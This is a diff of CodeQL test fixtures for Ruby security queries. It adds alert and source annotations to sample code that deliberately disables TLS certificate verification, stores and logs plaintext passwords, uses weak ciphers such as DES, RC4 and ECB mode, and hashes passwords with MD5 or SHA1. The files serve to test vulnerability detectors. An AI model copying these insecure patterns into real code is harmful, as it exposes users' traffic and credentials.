 verify_mode_as_arg("http://example.com", "/", OpenSSL::SSL::VERIFY_NONE)
diff --git a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb
index 902950e5be9e..01a96461a465 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb
@@ -3,7 +3,7 @@
 # BAD
 client = HTTPClient.new
 client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE
-client.get("https://example.com")
+client.get("https://example.com") # $ Alert
 
 # GOOD
 client = HTTPClient.new
@@ -15,4 +15,4 @@
 client.get("https://example.com")
 
 # GOOD
-HTTPClient.get("https://example.com/")
\ No newline at end of file
+HTTPClient.get("https://example.com/")
diff --git a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb
index 562cbbc1f435..8030e9e119c1 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb
@@ -1,19 +1,19 @@
 require "httparty"
 
 # BAD
-HTTParty.get("http://example.com/", verify: false)
+HTTParty.get("http://example.com/", verify: false) # $ Alert
 
 # BAD
-HTTParty.get("http://example.com/", verify_peer: false)
+HTTParty.get("http://example.com/", verify_peer: false) # $ Alert
 
 # BAD
-HTTParty.get("http://example.com/", { verify_peer: false })
+HTTParty.get("http://example.com/", { verify_peer: false }) # $ Alert
 
 # BAD
-HTTParty.post("http://example.com/", body: "some_data", verify: false)
+HTTParty.post("http://example.com/", body: "some_data", verify: false) # $ Alert
 
 # BAD
-HTTParty.post("http://example.com/", { body: "some_data", verify: false })
+HTTParty.post("http://example.com/", { body: "some_data", verify: false }) # $ Alert
 
 # GOOD
 HTTParty.get("http://example.com/")
@@ -34,4 +34,4 @@
 HTTParty.post("http://example.com/", { body: "some_data" })
 
 # GOOD
-HTTParty.post("http://example.com/", { body: "some_data", verify: true })
\ No newline at end of file
+HTTParty.post("http://example.com/", { body: "some_data", verify: true })
diff --git a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb
index 9269eeae5316..7915e8b80d6f 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb
@@ -6,5 +6,5 @@
 http.use_ssl = true
 http.verify_mode = OpenSSL::SSL::VERIFY_NONE
 request = Net::HTTP::Get.new uri.request_uri
-response = http.request request
+response = http.request request # $ Alert
 puts response.body
diff --git a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb
index a825791c8233..ae9698f2f68a 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb
@@ -1,24 +1,24 @@
 require "open-uri"
 
 # BAD
-Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE)
+Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert
 
 # BAD
-Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE })
+Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert
 
 # BAD
 options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }
-Kernel.open("https://example.com", options)
+Kernel.open("https://example.com", options) # $ Alert
 
 # BAD
-URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE)
+URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert
 
 # BAD
-URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE })
+URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert
 
 # BAD
 options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }
-URI.parse("https://example.com").open(options)
+URI.parse("https://example.com").open(options) # $ Alert
 
 # GOOD
 Kernel.open("https://example.com")
@@ -44,4 +44,4 @@
 
 # GOOD
 options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_PEER }
-URI.parse("https://example.com").open(options)
\ No newline at end of file
+URI.parse("https://example.com").open(options)
diff --git a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref
index e2caf232ddbc..22b77bdb4b0f 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref
@@ -1 +1,2 @@
-queries/security/cwe-295/RequestWithoutValidation.ql
\ No newline at end of file
+query: queries/security/cwe-295/RequestWithoutValidation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb
index a180ac0d74c0..911607288237 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb
@@ -2,21 +2,21 @@
 
 # BAD
 resource = RestClient::Resource.new("https://example.com", verify_ssl: OpenSSL::SSL::VERIFY_NONE)
-response = resource.get
+response = resource.get # $ Alert
 
 # BAD
 resource = RestClient::Resource.new("https://example.com", { verify_ssl: OpenSSL::SSL::VERIFY_NONE })
-response = resource.get
+response = resource.get # $ Alert
 
 # BAD
 options = { verify_ssl: OpenSSL::SSL::VERIFY_NONE }
 resource = RestClient::Resource.new("https://example.com", options)
-response = resource.get
+response = resource.get # $ Alert
 
 # BAD
 value = OpenSSL::SSL::VERIFY_NONE
 resource = RestClient::Resource.new("https://example.com", verify_ssl: value)
-response = resource.get
+response = resource.get # $ Alert
 
 # GOOD
 RestClient.get("https://example.com")
diff --git a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb
index aed601cf8889..af88218d1bcb 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb
@@ -1,11 +1,11 @@
 require "typhoeus"
 
 # BAD
-Typhoeus.get("https://www.example.com", ssl_verifypeer: false)
+Typhoeus.get("https://www.example.com", ssl_verifypeer: false) # $ Alert
 
 # BAD
 post_options = { body: "some data", ssl_verifypeer: false }
-Typhoeus.post("https://www.example.com", post_options)
+Typhoeus.post("https://www.example.com", post_options) # $ Alert
 
 # GOOD
-Typhoeus.get("https://www.example.com")
\ No newline at end of file
+Typhoeus.get("https://www.example.com")
diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref
index 4a8ed809dfc6..eb4d8d767b30 100644
--- a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref
@@ -1 +1,2 @@
-queries/security/cwe-312/CleartextLogging.ql
\ No newline at end of file
+query: queries/security/cwe-312/CleartextLogging.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref
index 051d588b7010..903a20fe574c 100644
--- a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref
@@ -1 +1,2 @@
-queries/security/cwe-312/CleartextStorage.ql
\ No newline at end of file
+query: queries/security/cwe-312/CleartextStorage.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb
index 806b51096659..ae277596cfef 100644
--- a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb
@@ -1,47 +1,47 @@
 class UsersController < ApplicationController
   def createLikeCall
-    new_password = "043697b96909e03ca907599d6420555f"
+    new_password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    User.create(name: "U1", password: new_password)
+    User.create(name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    User.create({ name: "U1", password: new_password })
+    User.create({ name: "U1", password: new_password }) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def updateLikeClassMethodCall
-    new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141"
+    new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    User.update(1, name: "U1", password: new_password)
+    User.update(1, name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}])
+    User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def insertAllLikeCall
-    new_password = "504d224a806cf8073cd14ef08242d422"
+    new_password = "504d224a806cf8073cd14ef08242d422" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}])
+    User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def updateLikeInstanceMethodCall
     user = User.find(1)
-    new_password = "7d6ae08394c3f284506dca70f05995f6"
+    new_password = "7d6ae08394c3f284506dca70f05995f6" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    user.update(password: new_password)
+    user.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    user.update({password: new_password})
+    user.update({password: new_password}) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def updateAttributeCall
     user = User.find(1)
-    new_password = "ff295f8648a406c37fbe378377320e4c"
+    new_password = "ff295f8648a406c37fbe378377320e4c" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password stored to database
-    user.update_attribute("password", new_password)
+    user.update_attribute("password", new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def assignAttributeCall
     user = User.find(1)
-    new_password = "78ffbec583b546bd073efd898f833184"
+    new_password = "78ffbec583b546bd073efd898f833184" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: plaintext password assigned to database field
-    user.password = new_password
+    user.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data]
     user.save
   end
 
@@ -55,13 +55,13 @@ def hashedPasswordAssign
   end
 
   def fileWrites
-    new_password = "0157af7c38cbdd24f1616de4e5321861"
+    new_password = "0157af7c38cbdd24f1616de4e5321861" # $ Source[rb/clear-text-storage-sensitive-data]
 
     # BAD: plaintext password stored to disk
-    IO.write("foo.txt", "password: #{new_password}\n")
+    IO.write("foo.txt", "password: #{new_password}\n") # $ Alert[rb/clear-text-storage-sensitive-data]
 
     # BAD: plaintext password stored to disk
-    File.new("bar.txt", "a").puts("password: #{new_password}")
+    File.new("bar.txt", "a").puts("password: #{new_password}") # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def randomPasswordAssign
@@ -76,15 +76,15 @@ def test
     info = [
       {
         name: "U1", 
-        password: "aaaaaaaaaa",
-        credit_card_number: "0000-0000-0000-0000",
-        SSN: "000-00-00000"
+        password: "aaaaaaaaaa", # $ Source[rb/clear-text-storage-sensitive-data]
+        credit_card_number: "0000-0000-0000-0000", # $ Source[rb/clear-text-storage-sensitive-data]
+        SSN: "000-00-00000" # $ Source[rb/clear-text-storage-sensitive-data]
       }, 
-      {name: "U2", password: "bbbbbbb"}
+      {name: "U2", password: "bbbbbbb"} # $ Source[rb/clear-text-storage-sensitive-data]
     ]
     info.each do |inf|
       # BAD: Plaintext password, SSN, and CCN stored to database.
-      User.create!(inf)
+      User.create!(inf) # $ Alert[rb/clear-text-storage-sensitive-data]
     end
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb
index 09d1866424a3..7b5943e641c3 100644
--- a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb
+++ b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb
@@ -1,20 +1,20 @@
 class User < ActiveRecord::Base
   def set_password_1
-    new_password = "06c38c6a8a9c11a9d3b209a3193047b4"
+    new_password = "06c38c6a8a9c11a9d3b209a3193047b4" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: directly storing a potential cleartext password to a field
-    self.update(password: new_password)
+    self.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def set_password_2
-    new_password = "52652fb5c709fb6b9b5a0194af7c6067"
+    new_password = "52652fb5c709fb6b9b5a0194af7c6067" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: directly storing a potential cleartext password to a field
-    update(password: new_password)
+    update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data]
   end
 
   def set_password_3
-    new_password = "f982bf2531c149a8a1444a951b12e830"
+    new_password = "f982bf2531c149a8a1444a951b12e830" # $ Source[rb/clear-text-storage-sensitive-data]
     # BAD: directly assigning a potential cleartext password to a field
-    self.password = new_password
+    self.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data]
     self.save
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-312/logging.rb b/ruby/ql/test/query-tests/security/cwe-312/logging.rb
index 26b148f33c26..03b21b3625c2 100644
--- a/ruby/ql/test/query-tests/security/cwe-312/logging.rb
+++ b/ruby/ql/test/query-tests/security/cwe-312/logging.rb
@@ -1,45 +1,45 @@
 stdout_logger = Logger.new STDOUT
 
-password = "043697b96909e03ca907599d6420555f"
+password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-logging-sensitive-data]
 
 # BAD: password logged as plaintext
-stdout_logger.info password
+stdout_logger.info password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.debug password
+stdout_logger.debug password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.error password
+stdout_logger.error password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.fatal password
+stdout_logger.fatal password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.unknown password
+stdout_logger.unknown password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.warn password
+stdout_logger.warn password # $ Alert[rb/clear-text-logging-sensitive-data]
 
 # BAD: password logged as plaintext
-stdout_logger.add Logger::WARN, password
+stdout_logger.add Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.add Logger::WARN, "message", password
+stdout_logger.add Logger::WARN, "message", password # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.log Logger::WARN, password
+stdout_logger.log Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data]
 
 # BAD: password logged as plaintext
-stdout_logger << "pw: #{password}"
+stdout_logger << "pw: #{password}" # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: sensitive data in the progname will taint subsequent logging calls
-stdout_logger.progname = password
+stdout_logger.progname = password # $ Alert[rb/clear-text-logging-sensitive-data]
 
-hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" }
+hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } # $ Source[rb/clear-text-logging-sensitive-data]
 hsh2 = {}
 # GOOD: no backwards flow
 stdout_logger.info hsh2[:password]
-hsh2[:password] = "beeda625d7306b45784d91ea0336e201"
+hsh2[:password] = "beeda625d7306b45784d91ea0336e201" # $ Source[rb/clear-text-logging-sensitive-data]
 hsh3 = hsh2
 
 # BAD: password logged as plaintext
-stdout_logger.info hsh1[:password]
+stdout_logger.info hsh1[:password] # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.info hsh2[:password]
+stdout_logger.info hsh2[:password] # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password logged as plaintext
-stdout_logger.info hsh3[:password]
+stdout_logger.info hsh3[:password] # $ Alert[rb/clear-text-logging-sensitive-data]
 # GOOD: not a password
 stdout_logger.info hsh1[:foo]
 
@@ -61,30 +61,30 @@
 # GOOD: password is effectively masked before logging
 stdout_logger.info password_masked_gsub_ex
 
-password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838"
-password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838"
-password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f"
-password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f"
-password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]")
+password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data]
+password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data]
+password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data]
+password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data]
+password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") # $ Source[rb/clear-text-logging-sensitive-data]
 password_masked_ineffective_sub_ex.sub!(/./, "[password]")
-password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*")
+password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") # $ Source[rb/clear-text-logging-sensitive-data]
 password_masked_ineffective_gsub_ex.gsub!(/[A-Z]/, "*")
 
 # BAD: password masked ineffectively
-stdout_logger.info password_masked_ineffective_sub
+stdout_logger.info password_masked_ineffective_sub # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password masked ineffectively
-stdout_logger.info password_masked_ineffective_gsub
+stdout_logger.info password_masked_ineffective_gsub # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password masked ineffectively
-stdout_logger.info password_masked_ineffective_sub_ex
+stdout_logger.info password_masked_ineffective_sub_ex # $ Alert[rb/clear-text-logging-sensitive-data]
 # BAD: password masked ineffectively
-stdout_logger.info password_masked_ineffective_gsub_ex
+stdout_logger.info password_masked_ineffective_gsub_ex # $ Alert[rb/clear-text-logging-sensitive-data]
 
 def foo(password, logger)
   # BAD: password logged as plaintext
-  logger.info password
+  logger.info password # $ Alert[rb/clear-text-logging-sensitive-data]
 end
 
-password_arg = "65f2950df2f0e2c38d7ba2ccca767291"
+password_arg = "65f2950df2f0e2c38d7ba2ccca767291" # $ Source[rb/clear-text-logging-sensitive-data]
 foo(password_arg, stdout_logger)
 foo("65f2950df2f0e2c38d7ba2ccca767292", stdout_logger)
 
diff --git a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref
index e1c31fb2d584..92b721c8549e 100644
--- a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref
@@ -1 +1,2 @@
-queries/security/cwe-327/BrokenCryptoAlgorithm.ql
\ No newline at end of file
+query: queries/security/cwe-327/BrokenCryptoAlgorithm.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref
index dcb5a4e62a7e..b4891bf7bcab 100644
--- a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref
@@ -1 +1,2 @@
-queries/security/cwe-327/WeakSensitiveDataHashing.ql
\ No newline at end of file
+query: queries/security/cwe-327/WeakSensitiveDataHashing.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb
index 69dcd6b472bb..84997f6a2d49 100644
--- a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb
+++ b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb
@@ -1,19 +1,19 @@
 require 'openssl'
 
 # BAD: creating a cipher using a weak scheme
-weak = OpenSSL::Cipher.new('des3')
+weak = OpenSSL::Cipher.new('des3') # $ Alert[rb/weak-cryptographic-algorithm]
 weak.encrypt
 weak.random_key
 # BAD: encrypting data using a weak cipher
-weak.update('foo')
+weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm]
 weak.final
 
 # BAD: creating a cipher using a weak block mode
-weak = OpenSSL::Cipher::AES.new(128, 'ecb')
+weak = OpenSSL::Cipher::AES.new(128, 'ecb') # $ Alert[rb/weak-cryptographic-algorithm]
 weak.encrypt
 weak.random_key
 # BAD: encrypting data using a weak block mode
-weak.update('foo')
+weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm]
 weak.final
 
 # GOOD: creating a cipher using a strong scheme
@@ -25,7 +25,7 @@
 strong.final
 
 # BAD: weak block mode
-OpenSSL::Cipher::AES.new(128, :ecb)
+OpenSSL::Cipher::AES.new(128, :ecb) # $ Alert[rb/weak-cryptographic-algorithm]
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::AES.new(128, 'cbc')
 # GOOD: strong encryption algorithm
@@ -34,49 +34,49 @@
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::AES128.new
 # BAD: weak block mode
-OpenSSL::Cipher::AES128.new 'ecb'
+OpenSSL::Cipher::AES128.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::AES192.new
 # BAD: weak block mode
-OpenSSL::Cipher::AES192.new 'ecb'
+OpenSSL::Cipher::AES192.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::AES256.new
 # BAD: weak block mode
-OpenSSL::Cipher::AES256.new 'ecb'
+OpenSSL::Cipher::AES256.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::BF.new
 # BAD: weak block mode
-OpenSSL::Cipher::BF.new 'ecb'
+OpenSSL::Cipher::BF.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::CAST5.new
 # BAD: weak block mode
-OpenSSL::Cipher::CAST5.new 'ecb'
+OpenSSL::Cipher::CAST5.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::DES.new
+OpenSSL::Cipher::DES.new # $ Alert[rb/weak-cryptographic-algorithm]
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::DES.new 'cbc'
+OpenSSL::Cipher::DES.new 'cbc' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # GOOD: strong encryption algorithm
 OpenSSL::Cipher::IDEA.new
 # BAD: weak block mode
-OpenSSL::Cipher::IDEA.new 'ecb'
+OpenSSL::Cipher::IDEA.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::RC2.new
+OpenSSL::Cipher::RC2.new # $ Alert[rb/weak-cryptographic-algorithm]
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::RC2.new 'ecb'
+OpenSSL::Cipher::RC2.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm]
 
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::RC4.new
+OpenSSL::Cipher::RC4.new # $ Alert[rb/weak-cryptographic-algorithm]
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::RC4.new '40'
+OpenSSL::Cipher::RC4.new '40' # $ Alert[rb/weak-cryptographic-algorithm]
 # BAD: weak encryption algorithm
-OpenSSL::Cipher::RC4.new 'hmac-md5'
+OpenSSL::Cipher::RC4.new 'hmac-md5' # $ Alert[rb/weak-cryptographic-algorithm]
 
 Digest::MD5.hexdigest('foo') # OK: don't report hash algorithm even if it is weak
 Digest::SHA256.hexdigest('foo') # GOOD: strong hash algorithm
@@ -104,4 +104,4 @@
 sha1 << 'message' # << is an alias for update
 
 OpenSSL::Digest.digest('SHA1', "abc") # OK: don't report hash algorithm even if it is weak
-OpenSSL::Digest.digest('SHA3-512', "abc") # GOOD: strong hash algorithm
\ No newline at end of file
+OpenSSL::Digest.digest('SHA3-512', "abc") # GOOD: strong hash algorithm
diff --git a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb
index cff4263c40d8..13295950b0bb 100644
--- a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb
+++ b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb
@@ -1,16 +1,16 @@
 require 'openssl'
 
-password = "abcde"
-username = "some_user"
+password = "abcde" # $ Source[rb/weak-sensitive-data-hashing]
+username = "some_user" # $ Source[rb/weak-sensitive-data-hashing]
 some_data = "foo"
 x = password
 
 Digest::MD5.hexdigest(some_data) # OK: input is not sensitive
 Digest::SHA256.hexdigest(password) # OK: strong hash algorithm
-Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data
-OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data
-Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data
-Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data
+Digest::MD5.hexdigest(password) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
+OpenSSL::Digest.digest('SHA1', password) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
+Digest::MD5.hexdigest(username) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
+Digest::MD5.hexdigest(x) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
 
 def get_safe_data()
   return "hello"
@@ -21,13 +21,13 @@ def get_password()
 end
 
 Digest::MD5.hexdigest(get_safe_data()) # OK: input is not sensitive
-Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data
+Digest::MD5.hexdigest(get_password()) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
 
 some_hash = {password: "changeme", foo: "bar"}
 Digest::MD5.hexdigest(some_hash[:foo]) # OK: input is not sensitive
-Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data
+Digest::MD5.hexdigest(some_hash[:password]) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
 
-def a_method(safe_data, password_param)
+def a_method(safe_data, password_param) # $ Source[rb/weak-sensitive-data-hashing]
   Digest::MD5.hexdigest(safe_data) # OK: input is not sensitive
-  Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data
+  Digest::MD5.hexdigest(password_param) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref
index 5dc5050b63e8..7e422be7bf57 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref
@@ -1 +1,2 @@
-queries/security/cwe-352/CSRFProtectionDisabled.ql
\ No newline at end of file
+query: queries/security/cwe-352/CSRFProtectionDisabled.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref
index 8e9e894fe518..a47a9b3e99a4 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref
@@ -1 +1,2 @@
-queries/security/cwe-352/CSRFProtectionNotEnabled.ql
\ No newline at end of file
+query: queries/security/cwe-352/CSRFProtectionNotEnabled.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb
index 8cbf31529c15..d6e9df8d22c3 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb
